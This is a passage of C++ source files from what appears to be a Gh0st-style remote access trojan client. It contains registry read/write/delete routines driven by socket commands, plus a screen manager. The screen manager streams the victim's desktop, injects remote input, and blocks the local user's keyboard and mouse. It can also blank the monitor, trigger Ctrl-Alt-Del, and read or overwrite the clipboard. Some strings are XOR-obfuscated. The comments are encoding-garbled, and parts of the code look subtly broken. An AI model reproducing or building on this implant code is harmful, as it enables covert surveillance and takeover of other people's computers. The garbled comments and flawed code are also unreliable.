RegCloseKey(MainKey);
RegCloseKey(hKey);
if(pDacl !=NULL)
HeapFree(GetProcessHeap(), 0, pDacl);
if(pSystemSid !=NULL)
FreeSid(pSystemSid);
if(pUserSid !=NULL)
FreeSid(pUserSid);
}
return iResult;
}
//<2F><>ȡע<C8A1><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D><><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD> 1-<2D><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD> 2-<2D><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 3-<2D>жϸü<CFB8><C3BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>)
int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode)
{
//strcry -----------------------
char* pDecodeStr;
char char_REG_SZ[] = { 0x06,0x99,0x8f,0x8e,0x97,0x94,0x9c }; //REG_SZ
char char_REG_EXPAND_SZ[] = { 0x0d,0x99,0x8f,0x8e,0x97,0x82,0x9e,0x95,0x85,0x8d,0x86,0x9e,0x93,0xe5 }; //REG_EXPAND_SZ
char char_REG_BINARY[] = { 0x0a,0x99,0x8f,0x8e,0x97,0x85,0x8f,0x8b,0x85,0x91,0x9b }; //REG_BINARY
char char_REG_MULTI_SZ[] = { 0x0c,0x99,0x8f,0x8e,0x97,0x8a,0x93,0x89,0x90,0x8a,0x9d,0x92,0x9a }; //REG_MULTI_SZ
char char_REG_DWORD[] = { 0x09,0x99,0x8f,0x8e,0x97,0x83,0x91,0x8a,0x96,0x87 }; //REG_DWORD
//------------------------------
HKEY hKey;
int ValueDWORD,iResult=0;
char* PointStr;
char KeyName[32],ValueSz[MAX_PATH],ValueTemp[MAX_PATH];
DWORD szSize,KnSize,dwIndex=0;
memset(KeyName,0,sizeof(KeyName));
memset(ValueSz,0,sizeof(ValueSz));
memset(ValueTemp,0,sizeof(ValueTemp));
__try
{
// SetKeySecurityEx(MainKey,SubKey,KEY_ALL_ACCESS);
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ,&hKey) != ERROR_SUCCESS)
{
iResult = -1;
__leave;
}
switch(Mode)
{
case 0:
switch(Type)
{
case REG_SZ:
case REG_EXPAND_SZ:
szSize = sizeof(ValueSz);
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
{
strcpy(szData,DelSpace(ValueSz));
iResult =1;
}
break;
case REG_MULTI_SZ:
szSize = sizeof(ValueSz);
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
{
for(PointStr = ValueSz; *PointStr; PointStr = strchr(PointStr,0)+1)
{
strncat(ValueTemp,PointStr,sizeof(ValueTemp));
strncat(ValueTemp," ",sizeof(ValueTemp));
}
strcpy(szData,ValueTemp);
iResult =1;
}
break;
case REG_DWORD:
szSize = sizeof(DWORD);
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)&ValueDWORD,&szSize ) == ERROR_SUCCESS)
{
wsprintf(szData,"%d",ValueDWORD);
iResult =1;
}
break;
case REG_BINARY:
szSize = lbSize;
if(RegQueryValueEx(hKey,Vname,NULL,&Type,szBytes,&szSize) == ERROR_SUCCESS)
iResult =1;
break;
}
break;
case 1:
while(1)
{
memset(ValueSz,0,sizeof(ValueSz));
szSize = sizeof(ValueSz);
if(RegEnumKeyEx(hKey,dwIndex++,ValueSz,&szSize,NULL,NULL,NULL,NULL) != ERROR_SUCCESS)
break;
wsprintf(ValueTemp,"[%s]\r\n",ValueSz);
strcat(szData,ValueTemp);
iResult =1;
}
break;
case 2:
while(1)
{
memset(KeyName,0,sizeof(KeyName));
memset(ValueSz,0,sizeof(ValueSz));
memset(ValueTemp,0,sizeof(ValueTemp));
KnSize = sizeof(KeyName);
szSize = sizeof(ValueSz);
if(RegEnumValue(hKey,dwIndex++,KeyName,&KnSize,NULL,&Type,(LPBYTE)ValueSz,&szSize) != ERROR_SUCCESS)
break;
switch(Type)
{
case REG_SZ:
pDecodeStr = decodeStr(char_REG_SZ); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName, pDecodeStr,ValueSz);
memset(pDecodeStr, 0, char_REG_SZ[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pDecodeStr;
pDecodeStr = NULL;
break;
case REG_EXPAND_SZ:
pDecodeStr = decodeStr(char_REG_EXPAND_SZ);
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName, pDecodeStr,ValueSz);
memset(pDecodeStr, 0, char_REG_EXPAND_SZ[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pDecodeStr;
pDecodeStr = NULL;
break;
case REG_DWORD:
pDecodeStr = decodeStr(char_REG_DWORD);
wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName, pDecodeStr,ValueSz,int(ValueSz));
memset(pDecodeStr, 0, char_REG_DWORD[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pDecodeStr;
pDecodeStr = NULL;
break;
case REG_MULTI_SZ:
pDecodeStr = decodeStr(char_REG_MULTI_SZ);
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName, pDecodeStr);
memset(pDecodeStr, 0, char_REG_MULTI_SZ[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pDecodeStr;
pDecodeStr = NULL;
break;
case REG_BINARY:
pDecodeStr = decodeStr(char_REG_BINARY);
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName, pDecodeStr);
memset(pDecodeStr, 0, char_REG_BINARY[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pDecodeStr;
pDecodeStr = NULL;
break;
}
lstrcat(szData,ValueTemp);
iResult =1;
}
break;
case 3:
iResult =1;
break;
}
}
__finally
{
RegCloseKey(MainKey);
RegCloseKey(hKey);
}
return iResult;
}
//дע<D0B4><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D>½<EFBFBD><C2BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1-<2D><><EFBFBD>ü<EFBFBD><C3BC><EFBFBD><EFBFBD><EFBFBD> 2-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD> 3-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
int WriteRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char* szData,DWORD dwData,int Mode)
{
HKEY hKey;
DWORD dwDisposition;
int iResult =0;
__try
{
// SetKeySecurityEx(MainKey,Subkey,KEY_ALL_ACCESS);
switch(Mode)
{
case 0:
if(RegCreateKeyEx(MainKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) != ERROR_SUCCESS)
__leave;
case 1:
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
__leave;
switch(Type)
{
case REG_SZ:
case REG_EXPAND_SZ:
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)szData,strlen(szData)+1) == ERROR_SUCCESS)
iResult =1;
break;
case REG_DWORD:
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)&dwData,sizeof(DWORD)) == ERROR_SUCCESS)
iResult =1;
break;
case REG_BINARY:
break;
}
break;
case 2:
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
__leave;
if (RegDeleteKey(hKey,Vname) == ERROR_SUCCESS)
iResult =1;
break;
case 3:
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
__leave;
if (RegDeleteValue(hKey,Vname) == ERROR_SUCCESS)
iResult =1;
break;
}
}
__finally
{
RegCloseKey(MainKey);
RegCloseKey(hKey);
}
return iResult;
}

View File

@@ -0,0 +1,13 @@
#ifndef REGEDITEX_H
#define REGEDITEX_H
//ȥ<><C8A5><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>Ŀո<C4BF>
char *DelSpace(char *szData);
//<2F><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1>Ȩ<EFBFBD><C8A8>(KEY_READ||KEY_WRITE||KEY_ALL_ACCESS)
int SetKeySecurityEx(HKEY MainKey,LPCTSTR SubKey,DWORD security);
//<2F><>ȡע<C8A1><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D><><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD> 1-<2D><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD> 2-<2D><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 3-<2D>жϸü<CFB8><C3BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>)
int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode);
//дע<D0B4><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D>½<EFBFBD><C2BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1-<2D><><EFBFBD>ü<EFBFBD><C3BC><EFBFBD><EFBFBD><EFBFBD> 2-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD> 3-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
int WriteRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char* szData,DWORD dwData,int Mode);
#endif

View File

@@ -0,0 +1,55 @@
// RegManager.cpp: implementation of the CRegManager class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "RegManager.h"
#include "RegeditOpt.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CRegManager::CRegManager(CClientSocket *pClient):CManager(pClient)
{
BYTE bToken=TOKEN_REGEDIT;
Send((BYTE*)&bToken,1);
}
CRegManager::~CRegManager()
{
}
void CRegManager::Find(char bToken, char *path)
{
RegeditOpt reg(bToken);
if(path!=NULL){
reg.SetPath(path);
}
char *tmp= reg.FindPath();
if(tmp!=NULL){
Send((LPBYTE)tmp, LocalSize(tmp));
LocalFree(tmp);
}
char* tmpd=reg.FindKey();
if(tmpd!=NULL){
Send((LPBYTE)tmpd, LocalSize(tmpd));
LocalFree(tmpd);
}
}
void CRegManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0]){
case COMMAND_REG_FIND: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if(nSize>=3){
Find(lpBuffer[1],(char*)(lpBuffer+2));
}else{
Find(lpBuffer[1],NULL);
}
break;
default:
break;
}
}

View File

@@ -0,0 +1,25 @@
// RegManager.h: interface for the CRegManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_REGMANAGER_H__F3FCEB28_905E_4637_9A9E_F3F8907FB3BF__INCLUDED_)
#define AFX_REGMANAGER_H__F3FCEB28_905E_4637_9A9E_F3F8907FB3BF__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
class CRegManager : public CManager
{
public:
void OnReceive(LPBYTE lpBuffer, UINT nSize);
CRegManager(CClientSocket *pClient);
virtual ~CRegManager();
protected:
void Find(char bToken,char* path);
};
#endif // !defined(AFX_REGMANAGER_H__F3FCEB28_905E_4637_9A9E_F3F8907FB3BF__INCLUDED_)

View File

@@ -0,0 +1,183 @@
// RegeditOpt.cpp: implementation of the RegeditOpt class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "RegeditOpt.h"
#include "..\..\..\common\macros.h"
#include <stdlib.h>
#include <malloc.h>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
RegeditOpt::RegeditOpt()
{
}
RegeditOpt::RegeditOpt(char b)
{
switch(b){
case MHKEY_CLASSES_ROOT:
MKEY=HKEY_CLASSES_ROOT;
break;
case MHKEY_CURRENT_USER:
MKEY=HKEY_CURRENT_USER;
break;
case MHKEY_LOCAL_MACHINE:
MKEY=HKEY_LOCAL_MACHINE;
break;
case MHKEY_USERS:
MKEY=HKEY_USERS;
break;
case MHKEY_CURRENT_CONFIG:
MKEY=HKEY_CURRENT_CONFIG;
break;
default:
MKEY=HKEY_LOCAL_MACHINE;
break;
}
ZeroMemory(KeyPath,MAX_PATH);
}
RegeditOpt::~RegeditOpt()
{
}
char* RegeditOpt::FindPath()
{
char *buf=NULL;
HKEY hKey; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ؾ<EFBFBD><D8BE><EFBFBD>
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS)//<2F><><EFBFBD><EFBFBD>
{
DWORD dwIndex=0,NameSize,NameCnt,NameMaxLen,Type;
DWORD KeySize,KeyCnt,KeyMaxLen,DateSize,MaxDateLen;
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ö<EFBFBD><C3B6><EFBFBD><EFBFBD>
if(RegQueryInfoKey(hKey,NULL,NULL,NULL,&KeyCnt,&KeyMaxLen,NULL,&NameCnt,&NameMaxLen,&MaxDateLen,NULL,NULL)!=ERROR_SUCCESS)
{
return NULL;
}
//һ<><EFBFBD><E3B1A3><EFBFBD><EFBFBD>ʩ
KeySize=KeyMaxLen+1;
if(KeyCnt>0&&KeySize>1){
int size=sizeof(REGMSG)+1;
//buf=new char[KeyCnt*KeySize+size+1];
DWORD datasize=KeyCnt*KeySize+size+1;
buf=(char*)LocalAlloc(LPTR, datasize);
ZeroMemory(buf,datasize);
buf[0]=TOKEN_REG_PATH; //<2F><><EFBFBD><EFBFBD>ͷ
REGMSG msg; //<2F><><EFBFBD><EFBFBD>ͷ
msg.size=KeySize;
msg.count=KeyCnt;
memcpy(buf+1,(void*)&msg,size);
char * tmp=new char[KeySize];
for(dwIndex=0;dwIndex<KeyCnt;dwIndex++) //ö<><C3B6><EFBFBD><EFBFBD>
{
ZeroMemory(tmp,KeySize);
DWORD i=KeySize;
RegEnumKeyEx(hKey,dwIndex,tmp,&i,NULL,NULL,NULL,NULL);
strcpy(buf+dwIndex*KeySize+size,tmp);
}
delete[] tmp;
RegCloseKey(hKey);
buf=(char*)LocalReAlloc(buf, datasize, LMEM_ZEROINIT|LMEM_MOVEABLE);
}
}
return buf;
}
char* RegeditOpt::FindKey()
{
char *szValueName; //<2F><>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD>
char *szKeyName; //<2F>Ӽ<EFBFBD><D3BC><EFBFBD><EFBFBD><EFBFBD>
LPBYTE szValueDate; //<2F><>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD>
char *buf=NULL;
HKEY hKey; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ؾ<EFBFBD><D8BE><EFBFBD>
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS)//<2F><><EFBFBD><EFBFBD>
{
DWORD dwIndex=0,NameSize,NameCnt,NameMaxLen,Type;
DWORD KeySize,KeyCnt,KeyMaxLen,DataSize,MaxDateLen;
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ö<EFBFBD><C3B6><EFBFBD><EFBFBD>
if(RegQueryInfoKey(hKey,NULL,NULL,NULL,&KeyCnt,&KeyMaxLen,NULL,&NameCnt,&NameMaxLen,&MaxDateLen,NULL,NULL)!=ERROR_SUCCESS)
{
return NULL;
}
if(NameCnt>0&&MaxDateLen>0&&NameSize>0)
{
DataSize=MaxDateLen+1;
NameSize=NameMaxLen+100;
REGMSG msg;
msg.count=NameCnt; //<2F>ܸ<EFBFBD><DCB8><EFBFBD>
msg.size=NameSize; //<2F><><EFBFBD>ִ<EFBFBD>С
msg.valsize=DataSize; //<2F><><EFBFBD>ݴ<EFBFBD>С
int msgsize=sizeof(REGMSG);
// ͷ <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
DWORD size=sizeof(REGMSG)+ sizeof(BYTE)*NameCnt+ NameSize*NameCnt+DataSize*NameCnt+10;
buf=(char*)LocalAlloc(LPTR, size);
ZeroMemory(buf,size);
buf[0]=TOKEN_REG_KEY; //<2F><><EFBFBD><EFBFBD>ͷ
memcpy(buf+1,(void*)&msg,msgsize); //<2F><><EFBFBD><EFBFBD>ͷ
szValueName=(char *)malloc(NameSize);
szValueDate=(LPBYTE)malloc(DataSize);
char *tmp=buf+msgsize+1;
for(dwIndex=0;dwIndex<NameCnt;dwIndex++) //ö<>ټ<EFBFBD>ֵ
{
ZeroMemory(szValueName,NameSize);
ZeroMemory(szValueDate,DataSize);
DataSize=MaxDateLen+1;
NameSize=NameMaxLen+100;
RegEnumValue(hKey,dwIndex,szValueName,&NameSize,NULL,&Type,szValueDate,&DataSize);//<2F><>ȡ<EFBFBD><C8A1>ֵ
if(Type==REG_SZ)
{
tmp[0]=MREG_SZ;
}
if(Type==REG_DWORD)
{
//DWORD d;//=(DWORD)*szValueDate;
// CRegistry reg(hKey);
// reg.Read(szValueName,&d);
// memcpy(szValueDate,(void*)&d,sizeof(DWORD));
tmp[0]=MREG_DWORD;
}
if(Type==REG_BINARY)
{
tmp[0]=MREG_BINARY;
}
if(Type==REG_EXPAND_SZ)
{
tmp[0]=MREG_EXPAND_SZ;
}
tmp+=sizeof(BYTE);
strcpy(tmp,szValueName);
tmp+=msg.size;
memcpy(tmp,szValueDate,msg.valsize);
tmp+=msg.valsize;
}
free(szValueName);
free(szValueDate);
buf=(char*)LocalReAlloc(buf, size, LMEM_ZEROINIT|LMEM_MOVEABLE);
}
}
return buf;
}
void RegeditOpt::SetPath(char *path)
{
ZeroMemory(KeyPath,MAX_PATH);
strcpy(KeyPath,path);
}

View File

@@ -0,0 +1,48 @@
// RegeditOpt.h: interface for the RegeditOpt class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_REGEDITOPT_H__4840C10B_6BD5_4F6A_A6E8_16BB38516358__INCLUDED_)
#define AFX_REGEDITOPT_H__4840C10B_6BD5_4F6A_A6E8_16BB38516358__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
enum MYKEY{
MHKEY_CLASSES_ROOT,
MHKEY_CURRENT_USER,
MHKEY_LOCAL_MACHINE,
MHKEY_USERS,
MHKEY_CURRENT_CONFIG
};
enum KEYVALUE{
MREG_SZ,
MREG_DWORD,
MREG_BINARY,
MREG_EXPAND_SZ
};
struct REGMSG{
int count; //<2F><><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>
DWORD size; //<2F><><EFBFBD>ִ<EFBFBD>С
DWORD valsize; //ֵ<><D6B5>С
};
class RegeditOpt
{
public:
void SetPath(char *path);
char* FindKey();
char* FindPath();
RegeditOpt();
RegeditOpt(char b);
virtual ~RegeditOpt();
protected:
char KeyPath[MAX_PATH];
HKEY MKEY;
};
#endif // !defined(AFX_REGEDITOPT_H__4840C10B_6BD5_4F6A_A6E8_16BB38516358__INCLUDED_)

View File

@@ -0,0 +1,381 @@
// ScreenManager.cpp: implementation of the CScreenManager class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#define _WIN32_WINNT 0x0400
#include "ScreenManager.h"
#include "until.h"
#include <WinUser.h> // BlockInput
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
{
m_bAlgorithm = ALGORITHM_SCAN;
m_biBitCount = 8;
m_pScreenSpy = new CScreenSpy(8);
m_bIsWorking = true;
m_bIsBlankScreen = false;
m_bIsBlockInput = false;
m_bIsCaptureLayer = false;
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
}
CScreenManager::~CScreenManager()
{
InterlockedExchange((LPLONG)&m_bIsBlankScreen, false);
InterlockedExchange((LPLONG)&m_bIsWorking, false);
WaitForSingleObject(m_hWorkThread, INFINITE);
WaitForSingleObject(m_hBlankThread, INFINITE);
CloseHandle(m_hWorkThread);
CloseHandle(m_hBlankThread);
if (m_pScreenSpy)
delete m_pScreenSpy;
}
void CScreenManager::ResetScreen(int biBitCount)
{
m_bIsWorking = false;
WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread);
delete m_pScreenSpy;
if (biBitCount == 3) // 4λ<34>Ҷ<EFBFBD>
m_pScreenSpy = new CScreenSpy(4, true);
else if (biBitCount == 7) // 8λ<38>Ҷ<EFBFBD>
m_pScreenSpy = new CScreenSpy(8, true);
else
m_pScreenSpy = new CScreenSpy(biBitCount);
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
m_biBitCount = biBitCount;
m_bIsWorking = true;
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
}
void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
try
{
switch (lpBuffer[0])
{
case COMMAND_NEXT:
// ֪ͨ<CDA8>ں<EFBFBD>Զ<EFBFBD>̿<EFBFBD><CCBF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD>Ѵ򿪣<D1B4>WaitForDialogOpen<65><6E><EFBFBD>Է<EFBFBD><D4B7><EFBFBD>
NotifyDialogIsOpen();
break;
case COMMAND_SCREEN_RESET:
ResetScreen(*(LPBYTE)&lpBuffer[1]);
break;
case COMMAND_ALGORITHM_RESET:
m_bAlgorithm = *(LPBYTE)&lpBuffer[1];
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
break;
case COMMAND_SCREEN_CTRL_ALT_DEL:
::SimulateCtrlAltDel();
break;
case COMMAND_SCREEN_CONTROL:
{
// Զ<><D4B6><EFBFBD><EFBFBD>Ȼ<EFBFBD><C8BB><EFBFBD>Բ<EFBFBD><D4B2><EFBFBD>
BlockInput(false);
ProcessCommand(lpBuffer + 1, nSize - 1);
BlockInput(m_bIsBlockInput);
}
break;
case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread<61><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_bIsBlockInput = *(LPBYTE)&lpBuffer[1];
break;
case COMMAND_SCREEN_BLANK:
m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1];
break;
case COMMAND_SCREEN_CAPTURE_LAYER:
m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1];
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
break;
case COMMAND_SCREEN_GET_CLIPBOARD:
SendLocalClipboard();
break;
case COMMAND_SCREEN_SET_CLIPBOARD:
UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1);
break;
default:
break;
}
}catch(...){}
}
void CScreenManager::sendBITMAPINFO()
{
//CScreenSpy<70><79><EFBFBD>õ<EFBFBD>bmp size
DWORD dwBytesLength = 1 + m_pScreenSpy->getBISize();
LPBYTE lpBuffer = (LPBYTE)VirtualAlloc(NULL, dwBytesLength, MEM_COMMIT, PAGE_READWRITE);
lpBuffer[0] = TOKEN_BITMAPINFO;
// ͼ<><CDBC>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͸<EFBFBD><CDB8><EFBFBD><EFBFBD>ض<EFBFBD>
memcpy(lpBuffer + 1, m_pScreenSpy->getBI(), dwBytesLength - 1);
Send(lpBuffer, dwBytesLength);
VirtualFree(lpBuffer, 0, MEM_RELEASE);
}
void CScreenManager::sendFirstScreen()
{
BOOL bRet = false;
LPVOID lpFirstScreen = NULL;
lpFirstScreen = m_pScreenSpy->getFirstScreen();
if (lpFirstScreen == NULL)
return;
DWORD dwBytesLength = 1 + m_pScreenSpy->getFirstImageSize();
LPBYTE lpBuffer = new BYTE[dwBytesLength];
if (lpBuffer == NULL)
return;
lpBuffer[0] = TOKEN_FIRSTSCREEN;
memcpy(lpBuffer + 1, lpFirstScreen, dwBytesLength - 1);
Send(lpBuffer, dwBytesLength);
delete [] lpBuffer;
}
void CScreenManager::sendNextScreen()
{
LPVOID lpNetScreen = NULL;
DWORD dwBytes;
lpNetScreen = m_pScreenSpy->getNextScreen(&dwBytes);
if (dwBytes == 0 || !lpNetScreen)
return;
DWORD dwBytesLength = 1 + dwBytes;
LPBYTE lpBuffer = new BYTE[dwBytesLength];
if (!lpBuffer)
return;
lpBuffer[0] = TOKEN_NEXTSCREEN;
memcpy(lpBuffer + 1, (const char *)lpNetScreen, dwBytes);
Send(lpBuffer, dwBytesLength);
delete [] lpBuffer;
}
DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
{
CScreenManager *pThis = (CScreenManager *)lparam;
//<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>
pThis->sendBITMAPINFO();
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD>򿪻<EFBFBD>Ӧ
pThis->WaitForDialogOpen();
//<2F><><EFBFBD>͵<EFBFBD>һ֡
pThis->sendFirstScreen();
try // <20><><EFBFBD>ƶ<EFBFBD>ǿ<EFBFBD>ƹر<C6B9>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
while (pThis->m_bIsWorking)
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͽ<EFBFBD><CDBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
pThis->sendNextScreen();
}catch(...){};
return 0;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3><EFBFBD>Ҫ<EFBFBD><D2AA>Ϊ<EFBFBD>˱<EFBFBD><CBB1><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD>
DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam)
{
static bool bIsScreenBlanked = false;
CScreenManager *pThis = (CScreenManager *)lparam;
while (pThis->IsConnect())
{
// <20>ӿ췴Ӧ<ECB7B4>ٶ<EFBFBD>
for (int i = 0; i < 100; i++)
{
if (pThis->IsConnect())
{
// <20>ֱ<EFBFBD><D6B1>ʴ<EFBFBD>С<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>
if (pThis->IsMetricsChange())
pThis->ResetScreen(pThis->GetCurrentPixelBits());
Sleep(10);
}
else
break;
}
if (pThis->m_bIsBlankScreen)
{
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
bIsScreenBlanked = true;
}
else
{
if (bIsScreenBlanked)
{
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
bIsScreenBlanked = false;
}
}
BlockInput(pThis->m_bIsBlockInput);
// <20>ֱ<EFBFBD><D6B1>ʴ<EFBFBD>С<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>
if (pThis->IsMetricsChange())
pThis->ResetScreen(pThis->GetCurrentPixelBits());
}
BlockInput(false);
return -1;
}
void CScreenManager::ProcessCommand( LPBYTE lpBuffer, UINT nSize )
{
// <20><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>Ϸ<EFBFBD>
if (nSize % sizeof(MSG) != 0)
return;
SwitchInputDesktop();
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int nCount = nSize / sizeof(MSG);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
for (int i = 0; i < nCount; i++)
{
